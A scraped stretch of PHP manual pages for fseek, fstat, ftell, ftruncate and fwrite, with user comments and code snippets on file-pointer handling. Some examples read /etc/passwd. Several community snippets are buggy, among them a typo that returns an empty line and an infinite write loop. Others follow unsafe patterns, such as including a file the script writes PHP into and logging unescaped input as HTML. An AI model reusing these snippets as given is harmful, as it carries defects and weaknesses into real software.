The good thing now is, that you don't get an error when your requesting more lines than the file contains. In this case the function will just return the whole file content.
lucky at somnius dot com dot ar 18-Aug-2006 05:35
Jim's (jim at lfchosting dot com) code for the last-line issue is perfect if the file is not empty, or moreover if it has more than one line. However if the file you're using cotains no new-line character at all (i.e. it is empty or it's got one line and only one) the while loop will stuck indefinitely.

I know this script is meant for big files which would always contain at least several lines, but it would be clever to make the script error-proof.

Thus, here's a little modification to his code.

<?php
function readLastLine ($file) {
    $fp = @fopen($file, "r");

    $pos = -1;
    $t = " ";
    while ($t != "\n") {
        if (!fseek($fp, $pos, SEEK_END)) { // *** - fseek returns 0 if successfull, and -1 if it has no succes as in seeking a byte outside the file's range
            $t = fgetc($fp);
            $pos = $pos - 1;
        } else { // ***
            rewind($fp); // ***
            break; // ***
        } // ***
    }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
?>

Lines added and/or modified have been marked with "// ***". I hope this helps!

Regards!
mail at ulf-kosack dot de 27-May-2006 10:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
    foreach($files as $file_num => $file) {
      if (file_exists ($file) ) {
        $handle = fopen($file, "r");
        $linecounter = $lines;
        $pos = -2;
        $t = " ";
        $text[$file_num] = "";
        while ($linecounter > 0) {
          while ($t != "\n") {
            fseek($handle, $pos, SEEK_END);
            $t = fgetc($handle);
            $pos --;
          }
          $t = " ";
          $text[$file_num] .= fgets($handle);
          $linecounter --;
        }
        fclose ($handle);
      } else {
        $text[$file_num] = "The file doesn't exist.";
      }
    }

    return $text;
?>
ekow[at]te.ugm.ac.id 11-Dec-2005 05:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
jeffunk7 at yahoo dot com 09-Dec-2005 06:46
If you, like me, need the second to last line from a text file (or some other line near the end that you will know the number of, ie the fourth to last line) then this addition to Jim's code can help you.

//$linefromlast is the linenumber that you need, the last line being 1, the second to last being 2, and so on...

function readlog($file, $linefromlast){
   $fp = @fopen($file, "r");
   $pos = -2;
   $t = " ";
   $linecounter = 1;
        while ($t != "\n" and $linecounter<=$linefromlast) {
                fseek($fp, $pos, SEEK_END);
                $t = fgetc($fp);
                $pos = $pos - 1;
                if ($t == "\n" and $linecounter < $linefromlast) {
                        fseek($fp, $pos, SEEK_END);
                        $t = fgetc($fp);
                        $pos = $pos - 1;
                        $linecounter = $linecounter +1;
                }
         }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
memphis 22-Jul-2005 01:41
Actually chenganeyou, your function causes the entire file to be read into an array, and then you look at the last element of the array.  While this works fine for a small file, an sizeable file is going to suck down memory and time.  Using a 15 MB file your function took around 2 secs to return.

The function provided by Jim goes directly to the end of the file and only reads in that line.  I had to set the offset ($pos) to -2 for it to work in my case however.  Using the same 15 MB file this function returns immediately.
chenganeyou at eyou dot com 27-Jun-2005 01:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com 25-May-2005 08:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
    fseek($fp,0,SEEK_END) ;
    $a = ftell($fp) ;
    while($i <= $lines){
        if(fgetc($fp) == "\n"){
            echo (fgets($fp));
            $i++ ;
        }
    fseek($fp,$a) ;
    $a-- ;
    }
}
alan at peaceconstitution.com 17-May-2005 06:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
    fseek ( $filehandle,0, SEEK_END);
    fwrite ( $filehandle, $string."\n" );
    fclose ($filehandle);
Lutz ( l_broedel at gmx dot net ) 14-Feb-2005 02:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
    function readLine ($linenum,$fh) {
        $line = fgets ($fh, 4096);
        $pos = -1;
        $i = 0;

        while (!feof($fh) && $i<($linenum-1)) {
            $char = fgetc($fh);
            if ($char != "\n" && $char != "\r") {
                fseek($fh, $pos, SEEK_SET);
                $pos ++;
            }
            else $i ++;
        }
        $line = fgets($fh);
        return $line;
    } //readLine()
?>
info at o08 dot com 15-Feb-2004 11:27
I think the function should be as following to deal any combination of cr & lf, no matter the line ends by cr, lf, cr-lf or lf-cr:

<?php
function getline ($handle) {
       while (!feof($handle)) {
           $char = fgetc($handle);
           if (($char == "\n") or ($char == "\r")) {
               $char2 = fgetc($handle);
               if (($char2 != "\n") && ($char2 != "\r")) {
                   fseek ($handle,-1,SEEK_CUR);
               }
               break;
           }
           else {
               $buffer .= $char;
           }
       }
       return $buffer;
}
?>
jim at lfchosting dot com 04-Nov-2003 06:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
        $fp = @fopen($file, "r");
        $pos = -1;
        $t = " ";
        while ($t != "\n") {
              fseek($fp, $pos, SEEK_END);
              $t = fgetc($fp);
              $pos = $pos - 1;
        }
        $t = fgets($fp);
        fclose($fp);
        return $t;
}
?>
aspyrine at hotmail dot com 11-Mar-2003 07:51
If you want to go to the end of a socket stream with fseek() you'll get the following error :
"stream does not support seeking"

feof() wont work eiver in a stream (ie. smtp)

You can move the pointer to the end with this command :
while(fgetc($fp)) {}
...so easy :-)
16-Sep-2002 01:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...
24-Aug-2002 05:12
The following call moves to the end of file (i.e. just after the last byte of the file):

    fseek($fp, 0, SEEK_END);

It can be used to tell the size of an opened file when the file name is unknown and can't be used with the filesize() function:

    fseek($fp, 0, SEEK_END);
    $filesize = ftell($fp);

The following call moves to the begining of file:

    fseek($fp, 0, SEEK_SET);

It is equivalent to:

    rewind($fp);
dan at daniellampert dot com 01-Jan-2002 02:54
For all first-time users of the fseek() function, remember these three things:

1. to use a programming expression, fseek() is "base 0", so to prepare the file for writing at character 1, you'd say fseek($fp,0); and to prepare the file for writing at character $num, you'd say fseek($fp,($num-1));

2. here's the formula for accessing fixed-length records in a file (you need to seek the position of the end of the previous record):

  /* assumes the desired record number is in $rec_num */
  /* assumes the record length is in $rec_len */
  $pos = ( ($rec_num-1) * $rec_len );
  fseek($fp,$pos);

3. if you're using fseek() to write data to a file, remember to open the file in "r+" mode, example:

  $fp=fopen($filename,"r+");

Don't open the file in mode "a" (for append), because it puts the file pointer at the end of the file and doesn't let you fseek earlier positions in the file (it didn't for me!). Also, don't open the file in mode "w" -- although this puts you at the beginning of the file -- because it wipes out all data in the file.

Hope this helps.
fscanf
fstat
Filesystem Functions


Gets information about a file using an open file pointer

fseek
ftell
Filesystem Functions
PHP Manual

fstat

(PHP 4, PHP 5)

fstat — Gets information about a file using an open file pointer

Description

array fstat ( resource $handle )

Gathers the statistics of the file opened by the file pointer handle. This function is similar to the stat() function except that it operates on an open file pointer instead of a filename.

Parameters

handle

A file system pointer resource that is typically created using fopen().

Return Values

Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page.

Examples

Example #1 fstat() example

<?php

// open a file
$fp = fopen("/etc/passwd", "r");

// gather statistics
$fstat = fstat($fp);

// close the file
fclose($fp);

// print only the associative part
print_r(array_slice($fstat, 13));

?>

The above example will output something similar to:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

User Contributed Notes

broom at alturnanetworks dot com 03-Oct-2008 03:21
Another ftp_get_contents() approach, using a temperary stream handler. Returns file contents of remote file as string.

<?php
function ftp_get_contents ($conn_id, $remote_filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $remote_filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>

(It is recommended to add some error handling)
sheran at comtrust dot co dot ae 21-Feb-2001 05:14
On Windows NT the typical array element names for the fstat function are:

dev
ino
mode
nlink
uid
gid
size
atime
mtime
ctime
fseek
ftell
Filesystem Functions


Returns the current position of the file read/write pointer

fstat
ftruncate
Filesystem Functions
PHP Manual

ftell

(PHP 4, PHP 5)

ftell — Returns the current position of the file read/write pointer

Description

int ftell ( resource $handle )

Returns the position of the file pointer referenced by handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or popen(). ftell() gives undefined results for append-only streams (opened with "a" flag).

Return Values

Returns the position of the file pointer referenced by handle as an integer; i.e., its offset into the file stream.

If an error occurs, returns FALSE.

Examples

Example #1 ftell() example

<?php

// opens a file and read some data
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// where are we ?
echo ftell($fp); // 11

fclose($fp);

?>

See Also

  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fseek() - Seeks on a file pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

burninleo at gmx dot net 07-Sep-2009 01:38
When opening a file to append via fopen('file','ab') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty and even after writing some text into the file.
missilesilo at gmail dot com 27-Feb-2007 03:02
In response to php at michielvleugel dot com:

This does not seem to be the case with PHP 5.2.0 and FreeBSD 5.4.

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);
var_dump($tell);
?>

root@localhost:/home/david# echo Hello World | ./test.php
int(0)
root@localhost:/home/david# ./test.php
int(6629927)

When something is piped to the script, it returns an integer value of 0, however, it also returns an integer when nothing is piped to the script.

The code should  be modified to this:

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);

if ($tell === 0)
    echo "Something was piped: " . fread(STDIN,256) . "\n";
else
    echo "Nothing was piped\n";
?>

And the result is:

root@localhost:/home/david# echo Hello World | ./test.php
Something was piped: Hello World
root@localhost:/home/david# ./test.php
Nothing was piped
mbirth at webwriters dot de 21-Oct-2005 11:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com 21-Jun-2005 10:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com 01-Jun-2005 03:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>
fstat
ftruncate
Filesystem Functions


Truncates a file to a given length

ftell
fwrite
Filesystem Functions
PHP Manual

ftruncate

(PHP 4, PHP 5)

ftruncate — Truncates a file to a given length

Description

bool ftruncate ( resource $handle , int $size )

Takes the filepointer, handle, and truncates the file to length, size.

Parameters

handle

The file pointer.

Note:

The handle must be open for writing.

size

The size to truncate to.

Note:

If size is larger than the file then the file is extended with null bytes.

If size is smaller than the file then the file is truncated to that size.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PHP 4.3.3 | Prior to this release ftruncate() returned an integer value of 1 on success, instead of boolean TRUE.

Examples

Example #1 File truncation example

<?php
$filename = 'lorem_ipsum.txt';

$handle = fopen($filename, 'r+');
ftruncate($handle, rand(1, filesize($filename)));
rewind($handle);
echo fread($handle, filesize($filename));
fclose($handle);
?>

Notes

Note:

The file pointer is not changed.

See Also

  • fopen() - Opens file or URL
  • fseek() - Seeks on a file pointer

User Contributed Notes

emailfire at gmail dot com 16-Jun-2011 02:14
If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing...

<?php
$fp = fopen("/tmp/file.txt", "r+");
ftruncate($fp, 0);
fclose($fp);
?>

You can just do...

<?php
$fp = fopen("/tmp/file.txt", "w");
fclose($fp);
?>
eurosat7 at yahoo dot de 21-Apr-2011 08:31
If you want to ftruncate but keep the end:
<?php
    function ftruncatestart($filename,$maxfilesize){
        $size=filesize($filename);
        if ($size<$maxfilesize*1.0) return;
        $maxfilesize=$maxfilesize*0.5; //we don't want to do it too often...
        $fh=fopen($filename,"r+");
        $start=ftell($fh);
        fseek($fh,-$maxfilesize,SEEK_END);
        $drop=fgets($fh);
        $offset=ftell($fh);
        for ($x=0;$x<$maxfilesize;$x++){
            fseek($fh,$x+$offset);
            $c=fgetc($fh);
            fseek($fh,$x);
            fwrite($fh,$c);
        }
        ftruncate($fh,$maxfilesize-strlen($drop));
        fclose($fh);
    }
?>
It will not just cut it but search for a newline so you avoid corrupting your csv or logfiles. But I don't know if you will stress the reading head of your drive. ;)
yetihehe at yetihehe dot com 22-Apr-2010 03:12
Simple script which will delete spaces from end of php files (suitable in big sites, when you are including many files before sending headers and without output buffering):

<?php
function mapfiles($func,$filename,$level=0) {
  if(is_dir($filename)) {
    if($level>30) return; //limit recurence in case of looped dirs
    $handle=opendir($filename);
    while(($dirname=readdir($handle))!==false) {
      if($dirname=='.'||$dirname=='..') continue;
      mapfiles($func,$filename.'/'.$dirname,$level+1);
    }
    closedir($handle);
  } else {
    $func($filename);
  }
}

function scanfile($filename) {
  if(substr($filename,-4)!=".php") return;
  $ff=fopen($filename,"r+");
  fseek($ff, -10, SEEK_END);
  $str=fread($ff,12);
  $matches=array();
  if(preg_match('/\?>(\s+)$/',$str,$matches)) {
    $fsize=filesize($filename);
    ftruncate($ff, $fsize-strlen($matches[1]));
  }
  fclose($ff);
}

mapfiles("scanfile",".");
?>
rc at opelgt dot org 05-Jan-2008 10:49
Writing after ftruncate

I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56":

<?php
$str1  = 1234;
$str2  =   56;
$datei = "test.txt";

$dh = fopen($datei,"w");
fwrite($dh, $str1);
fclose($dh);

$dh = fopen ($datei,"r+");
echo "content: ".fread($dh, filesize($datei))."<br>";
echo "pointer after fread at: ".ftell($dh)."<br>";
ftruncate($dh, 0);
echo "pointer after truncate at: ".ftell($dh)."<br>";
fwrite($dh, $str2);
echo "pointer after fwrite at: ".ftell($dh)."<br>";
rewind($dh);
echo "pointer after rewind at: ".ftell($dh)."<br>";
$str = fread($dh, 6);
echo "content: $str<br>in ASCII: ";
for($i = 0; $i < 6; $i++)
 echo ord($str{$i})."-";
fclose($dh);

/*
   OUTPUT:
   content: 1234
   pointer after fread at: 4
   pointer after truncate at: 4
   pointer after fwrite at: 6
   pointer after rewind at: 0
   content: 56
   in ASCII: 0-0-0-0-53-54
*/
?>

So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too.
mike at mikeleigh dot com 04-Jan-2007 12:30
I have produced a number of tests below which walk through my findings of the ftruncate function.  For the impatient among you ftruncate can be used to increase the size of the file and will fill the rest of the file with CHR 0 or ASCII NULL.  It can be used as a very convenient way of making a 1Mb file for instance.

Test 1
<?php
/*
  Test 1: Write "some text" to a file.
  Result: The text "some text" should be present in test_1.txt
*/
$fp = fopen('test_1.txt', 'w+');
fwrite($fp, 'some text');
?>
The first test is only here to make sure that a file can be written with some text.

Test 2
<?php
/*
  Test 2: Write "some text" to a file and ftruncate the file to 4 bytes.
  Result: The text "some" should be present in test_2.txt as the file will have been truncated to 4 bytes.
*/
$fp = fopen('test_2.txt', 'w+');
fwrite($fp, 'some text');
ftruncate($fp, 4);
?>
As expected the file has been truncated to 4 bytes.

Test 3
<?php
/*
  Test 3: Write "some text" to a file and ftruncate the file to 40 bytes.
  Result: The text "some text" should be present in test_3.txt as the file will have been truncated to 40 bytes.
*/
$fp = fopen('test_3.txt', 'w+');
fwrite($fp, 'some text');
ftruncate($fp, 40);
?>
Interestingly the file has increased from 9 bytes to 40 bytes.  The remaining 31 bytes of the file are ASCII code 0 or NULL though.

Further notes can be found here http://mikeleigh.com/links/ftruncate
ftell
fwrite
Filesystem Functions


Binary-safe file write

ftruncate
glob
Filesystem Functions
PHP Manual

fwrite

(PHP 4, PHP 5)

fwrite — Binary-safe file write

Description

int fwrite ( resource $handle , string $string [, int $length ] )

fwrite() writes the contents of string to the file stream pointed to by handle.

Parameters

handle

A file system pointer resource that is typically created using fopen().

string

The string that is to be written.

length

If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first.

Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string.

Return Values

fwrite() returns the number of bytes written, or FALSE on error.

Notes

Note:

Writing to a network stream may end before the whole string is written. Return value of fwrite() may be checked:

<?php
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>

Note:

On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter.

Note:

If handle was fopen()ed in append mode, fwrite()s are atomic (unless the size of string exceeds the filesystem's block size, on some platforms, and as long as the file is on a local filesystem). That is, there is no need to flock() a resource before calling fwrite(); all of the data will be written without interruption.

Note:

If writing twice to the file pointer, then the data will be appended to the end of the file content:

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// the content of 'data.txt' is now 123 and not 23!
?>

Examples

Example #1 A simple fwrite() example

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

    // In our example we're opening $filename in append mode.
    // The file pointer is at the bottom of the file hence
    // that's where $somecontent will go when we fwrite() it.
    if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)";
         exit;
    }

    // Write $somecontent to our opened file.
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "Cannot write to file ($filename)";
        exit;
    }

    echo "Success, wrote ($somecontent) to file ($filename)";

    fclose($handle);

} else {
    echo "The file $filename is not writable";
}
?>

See Also

  • fread() - Binary-safe file read
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • file_get_contents() - Reads entire file into a string

User Contributed Notes

pubdc on yahoo 18-Oct-2011 11:48
I have encountered many instances where fwrite will fail to append all text to the file, especially when there is a sequence of fwrite appends.

Sometimes it will work fine, sometimes the file will be only half-written. Adding a usleep(100000) for a tenth-of-a-second pause between the fwrites will usually avoid such issues without imposing too much of a delay.
Jon Haynes 01-Apr-2011 02:48
Be careful of using reserved Windows filenames in fwrite operations.

<?php
$fh = fopen('prn.txt', 'w');
fwrite($fh, 'wtf?');
echo 'done' . PHP_EOL;
?>

The above script will hang (tested on Windows 7) before it can echo 'done'.

This is due to another 'feature' of our favourite operating system where filenames like prn.xxx, con.xxx, com1.xxx and aux.xxx (with xxx being any filename extension) are Windows reserved device names. Attempts to create/read/write to these files hangs the interpreter.
nate at frickenate dot com 24-Mar-2010 09:51
After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0.

Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost.

This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries.

Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure.

<?php
// BROKEN function - infinite loop when fwrite() returns 0s
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>
chaly 12-Dec-2009 08:47
Here are the two function I use to save my arrays to a file and load them into exactly the same array as it was before.

At the moment I have no need in saving ressources or something. There I guess a memory-dump and -load is needed.

<?php
    function save_array_to_file($filename,$b)
    {
        if (!is_resource($filename))
        {
            if (!$file = fopen($filename,'w+')) return false;
        } else {
            $file = $filename;
        }
        foreach ($b as $key=>$val)
        {
            fwrite($file,(is_int($key) ? chr(6).(string)$key : chr(5).$key));
            if (is_array($val))
            {
                fwrite($file,chr(0)); //array starts
                save_array_to_file($file,$val);
                fwrite($file,chr(1)); //array ends
            }
            elseif (is_int($val))
            {
                fwrite($file,chr(2).(string) $val); //int
            }
            elseif (is_string($val))
            {
                fwrite($file,chr(3).$val); //string
            }
        }
        if (!is_resource($filename)) fclose($file);
        return true;
    }
    function read_array_from_file($filename)
    {
        if (!is_resource($filename))
        {
            if (!$file = fopen($filename,'r')) return false;
        } else {
            $file = $filename;
        }
        $ret=array();
        $key='';
        $val=null;
        $mod=0;
        while (!feof($file))
        {
            $b = fread($file,1);
            if (ord($b) < 9)
            {
                if ($val!=null)
                {
                    if ($mod==2) $val=(int) $val;
                    if ($mod==3) $val=(string) $val;
                    $ret[$key]=$val;
                    $key='';
                    $val=null;
                    $mod=0;
                } else {
                    if (ord($b)==0)
                        $mod=0;
                    elseif (ord($b)==1)
                        return $ret;
                    else
                    {
                        if ($mod==5) $key=(string) $key;
                        if ($mod==6) $key=(int) $key;
                        $mod=ord($b);
                    }
                }
            } else {
                if ($mod==5 || $mod==5)
                    $key.=$b;
                elseif ($mod==0)
                    $val=read_array_from_file($file);
                else
                    $val.=$b;
            }
        }
        if (!is_resource($filename)) fclose($file);
        return $ret;
    }
?>
oktavianus dot programmer at gmail dot com 03-Jun-2009 08:51
this the another sample to use fwrite with create a folder and create the txt file.

<?php
$mypath="testdir\\subdir\\test";
mkdir($mypath,0777,TRUE);
$filename = $mypath.'\test.txt';
$handle = fopen($filename,"x+");
$somecontent = "Add this to the file Oktavianus";
fwrite($handle,$somecontent);
echo "Success";
fclose($handle);
?>

please try...
Oktavianus
Anonymous 15-May-2009 09:36
If you write with the pointer in the middle of a file, it overwrites what's there rather than shifting the rest of the file along.
ceo at l-i-e dot com 10-Nov-2008 03:07
If you are trying to write binary/structured data (e.g., a 4-byte sequence for an (int)) to a file, you will need to use:
http://php.net/pack
james at facepwn dot com 09-Oct-2008 05:25
if (is_writable($filename)) {

Could also be

if (is_writable($filename) or die ("Can not write to ".$filename)) {
michael at newbcity dot com 27-May-2008 11:11
For my fellow newbies, if you test the sample script and want to have the .txt file created for you, you need to comment out the is_writable stuff, like this:

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// Let's make sure the file exists and is writable first.
//if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

//} else {
//echo "The file $filename is not writable";
//}
?>
kontakt at bmservices dot de 22-May-2008 04:03
Checking if fwrite failed will not work in that way:

if (!fwrite($fH, $myText)) echo "Write error";

because fwrite return the number of bytes written or FALSE in case of an error.

So: if $myText is an empty string, fwrite will return 0, which is interpreted here as "FALSE", although the writing out of the string is ok.

So you should check in that way:

if (@fwrite($fH, $myText)===FALSE) echo "Write error";

Regards from Berlin, Gérôme
elinor_hust at REMOVETHIS dot hotmail dot com 01-Apr-2008 05:26
Remember to use double-quotes when outputting special characters such as \n or they come out literally.

...
dharris dot nospam at removethispart dot drh dot net 20-Feb-2008 10:47
Some people say that when writing to a socket not all of the bytes requested to be written may be written. You may have to call fwrite again to write bytes that were not written the first time. (At least this is how the write() system call in UNIX works.)

This is helpful code (warning: not tested with multi-byte character sets)

function fwrite_with_retry($sock, &$data)
{
    $bytes_to_write = strlen($data);
    $bytes_written = 0;

    while ( $bytes_written < $bytes_to_write )
    {
        if ( $bytes_written == 0 ) {
            $rv = fwrite($sock, $data);
        } else {
            $rv = fwrite($sock, substr($data, $bytes_written));
        }

        if ( $rv === false || $rv == 0 )
            return( $bytes_written == 0 ? false : $bytes_written );

        $bytes_written += $rv;
    }

    return $bytes_written;
}

Call this like so:

    $rv = fwrite_with_retry($sock, $request_string);

    if ( ! $rv )
        die("unable to write request_string to socket");
    if ( $rv != strlen($request_string) )
        die("sort write to socket on writing request_string");
mesho 15-Jan-2008 02:20
be easy :)), this works fine

<?

$file = "counter.txt";

if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+');
        $str = "<? \$count=0 ?>";

}
else{
        include "counter.txt";
        $count++;
        $str = "<? \$count=".$count." ?>";
        $handle = fopen ($file, 'r+');
}

fwrite ($handle, $str);
fclose ($handle);

?>
chad 0x40 herballure 0x2e com 05-Sep-2007 10:13
Remember to check the return value of fwrite(). In particular, writing into a socket can return fewer bytes than requested, and you'll have to try again with the remainder of your data.
chaobreederxl at gmail dot com 29-Mar-2007 11:52
This is a simple function I wrote that uses the fopen and fwrite functions to log the actions of users... very useful for tracking your members on your site.

 <?php
 function loguser($reason,$ext = "db"){
  if(!is_dir("logs")):
   mkdir("logs","0493");
 endif;
  $fp = fopen("logs/".date("m-d-y").".".$ext, "a+");
   fwrite($fp, "<strong>".date("g:i:s A")."</strong>: ".$reason."<br/>");
 }
?>

To use this, just call the function like so:

<? loguser($_SERVER["REMOTE_ADDR"]." attempted to create another account.","html"); ?>

The second parameter can be changed to anything that would support HTML. If you leave out the second extension, then it automatically uses the .db extension, which works excellent for me.

Hope this helps.

Paul
cutmaster at fearlesss dot com 09-Mar-2007 03:09
For those who, like me, lost a lot of minutes (hours) to understand why fwrite doesn't create a real utf-8 file, here's the explanation I've found :

I tried to do something like this :
<?php
$myString = utf8_encode("Test with accents éèàç");
$fh=fopen('test.xml',"w");
fwrite($fh,$myString);
fclose($fh);
?>

For a mysterious reason, the resulted file shows the accent without the utf-8 conversion.

I tried the binary, mode, etc. etc. And finally I've found it :
It seems that fwrite NEEDS to have the utf8_encode function INSIDE its parameters like this, to understand it must create a non-text only file :
<?php
$myString = "Test with accents éèàç";
$fh=fopen('test.xml',"w");
fwrite($fh,utf8_encode($myString));
fclose($fh);
?>
Hope this will help
zaccraven at junk.com 11-Sep-2006 12:08
Use this to get a UTF-8 Unicode CSV file that opens properly in Excel:

$tmp = chr(255).chr(254).mb_convert_encoding( $tmp, 'UTF-16LE', 'UTF-8');
$write = fwrite( $filepath, $tmp );

Use a tab character, not comma, to seperate the fields in  the $tmp.

Credit for this goes to someone called Eugene Murai, I found this solution by him after searching for several hours.
santibari at yahoo dot com 18-Mar-2006 11:49
To write a specific byte into a file (let's,say 0000 0001), use the function chr().
<?php

fputs($fp,chr(0x01),1);

?>
bahatest at ifrance doc com 23-Jul-2005 02:40
[Editor's Note: No, you only need to use this if you want a BOM (Byte order mark) added to the document - most people do not.]

if you have to write a file in UTF-8 format, you have to add an header to the file like this :

<?php
$f=fopen("test.txt", "wb");
$text=utf8_encode("�a�!");
// adding header
$text="\xEF\xBB\xBF".$text;
fputs($f, $text);
fclose($f);
?>
james at nicolson dot biz 06-Jul-2005 08:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = 0;

}
else{
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = fread ($handle, filesize ($file));
        settype ($count,"integer");
}
